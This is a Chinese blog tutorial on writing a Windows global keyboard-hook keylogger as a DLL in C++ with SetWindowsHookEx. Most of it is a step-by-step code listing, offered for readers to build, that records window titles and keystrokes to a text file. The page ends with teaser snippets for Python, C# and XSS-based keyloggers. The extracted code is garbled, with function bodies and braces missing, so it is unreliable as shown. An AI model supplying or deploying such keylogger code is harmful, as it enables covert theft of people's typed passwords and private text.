C 黑客程式設計 鍵盤記錄器,HOOK技術實現

2021-10-09 06:15:41 字數 4423 閱讀 3734

有一種技術被稱為hook,人們習慣上叫做鉤子。鉤子技術的應用範圍比較廣:輸入監控,api攔截,訊息捕獲等等。

今天我們來做的是鍵盤記錄器

編譯工具:visual studio 2019

程式語言:自然是c++,python做的我會寫個標題「c++」嗎?

程式設計技術:hook

另外我說一下:

hook技術分為好幾種,我今天介紹一種:windows鉤子

windows鉤子又分為全域性鉤子和區域性鉤子.區域性鉤子是針對乙個執行緒的,而全域性鉤子就針對整個作業系統.所以需要dll檔案來支援.

開啟visual studio 2019,建立新專案->動態鏈結庫(dll),如圖:

這個是我們要用到的函式setwindowshookex(),定義如下

hhook setwindowshookex(

in int idhook,

in hookproc lpfn,

in_opt hinstance hmod,

in dword dwthreadid);

來說說setwindowshookex()的引數:

idhook:鉤子的型別,我們要用的就是wh_keyboard

lpfn:制定鉤子函式位址,我們需要寫乙個函式

hmod:模組控制代碼

dwthreadid:表示需要被hook的執行緒id號,如果為0的話就所有的執行緒都hook

unhookwindowshookex()解除安裝鉤子,定義如下

bool unhookwindowshookex( in hhook hhk);

hhk:鉤子控制代碼

開始實戰!!!

首先匯出兩個函式

extern

"c"_declspec

(dllexport) bool sethookon()

;extern

"c"_declspec

(dllexport) bool sethookoff()

;

初始化,注意dllmain()不是dllmain(),很多大佬都犯

hhook g_keyhook =

null

;hinstance g_inst =

null

;lresult callback keyboardproc

(int code,wparam wparam,lparam lparam)

;bool apientry dllmain

( hmodule hmodule,

dword ul_reason_for_call,

lpvoid lpreserved

)

開啟鉤子函式

bool sethookon()

return false;

}

解除安裝鉤子函式

bool sethookoff()

鍵盤鉤子函式,前面是獲取視窗的標題

lresult callback keyboardproc

(int code,wparam wparam,lparam lparam)

; dword dwsize = max_path;

queryfullprocessimagenamew

(hprocess,

0, wszprocesspath,

&dwsize)

; char wsztitle[max_path]=;

result =

getwindowtexta

(hwnd, wsztitle, max_path)

;

file* fp =

fopen

("檔案路徑"

,"a");

if(fp ==

null

)return

callnexthookex

(g_keyhook, code, wparam, lparam);if

(lparam &

0x40000000)if

(code == hc_noremove || code <0)

char szkeyname[

100]=;

getkeynametexta

(lparam, szkeyname,

100)

;fwrite

(wsztitle,1,

strlen

(wsztitle)

, fp)

;fwrite

("\t",1

,2, fp)

;fwrite

(szkeyname,1,

strlen

(szkeyname)

, fp)

;fwrite

("\r\n",1

,2, fp)

;fclose

(fp)

;return

callnexthookex

(g_keyhook, code, wparam, lparam)

;}

我在fopen()的第乙個引數下沒有寫檔案路徑,你們自己建立乙個txt檔案,寫上路徑

完整**

#include

"pch.h"

#include

#pragma warning(disable:4996)

extern

"c"_declspec

(dllexport) bool sethookon()

;extern

"c"_declspec

(dllexport) bool sethookoff()

;hhook g_keyhook =

null

;hinstance g_inst =

null

;lresult callback keyboardproc

(int code,wparam wparam,lparam lparam)

;bool apientry dllmain

( hmodule hmodule,

dword ul_reason_for_call,

lpvoid lpreserved

)bool sethookon()

return false;

}bool sethookoff()

lresult callback keyboardproc

(int code,wparam wparam,lparam lparam)

; dword dwsize = max_path;

queryfullprocessimagenamew

(hprocess,

0, wszprocesspath,

&dwsize)

; char wsztitle[max_path]=;

result =

getwindowtexta

(hwnd, wsztitle, max_path)

;

file* fp =

fopen(""

,"a");

if(fp ==

null

)return

callnexthookex

(g_keyhook, code, wparam, lparam);if

(lparam &

0x40000000)if

(code == hc_noremove || code <0)

char szkeyname[

100]=;

getkeynametexta

(lparam, szkeyname,

100)

;fwrite

(wsztitle,1,

strlen

(wsztitle)

, fp)

;fwrite

("\t",1

,2, fp)

;fwrite

(szkeyname,1,

strlen

(szkeyname)

, fp)

;fwrite

("\r\n",1

,2, fp)

;fclose

(fp)

;return

callnexthookex

(g_keyhook, code, wparam, lparam)

;}

生成乙個lib和dll檔案

建立乙個mfc專案,弄兩個按鈕,…

python 鍵盤記錄器

coding utf 8 from ctypes import import pythoncom import pyhook import win32clipboard user32 windll.user32 kernel32 windll.kernel32 psapi windll.psapi ...

C Hook 鍵盤記錄器

之前寫外掛程式做過指定程序的 hook,但是沒有嘗試過全域性 hook,所以今天就來試試。全域性 hook 的用途我第乙個就想到了鍵盤記錄器 貌似我也就想到了這個 哈哈 那就寫乙個吧。先上效果圖 沒圖沒真相,我看別人的部落格都喜歡上來先看圖,木哈哈 u u 其實也不多,就是 switch case ...

利用XSS漏洞實現鍵盤記錄器

本實驗以反射性的xss漏洞為例 實驗環境 dvwa靶機 ip 192.168.135.140 kali linux ip 192.168.135.138 1.首先開啟在kail上開啟apache服務 etc init.d apache2 start在firefox位址列輸入 或者 http loca...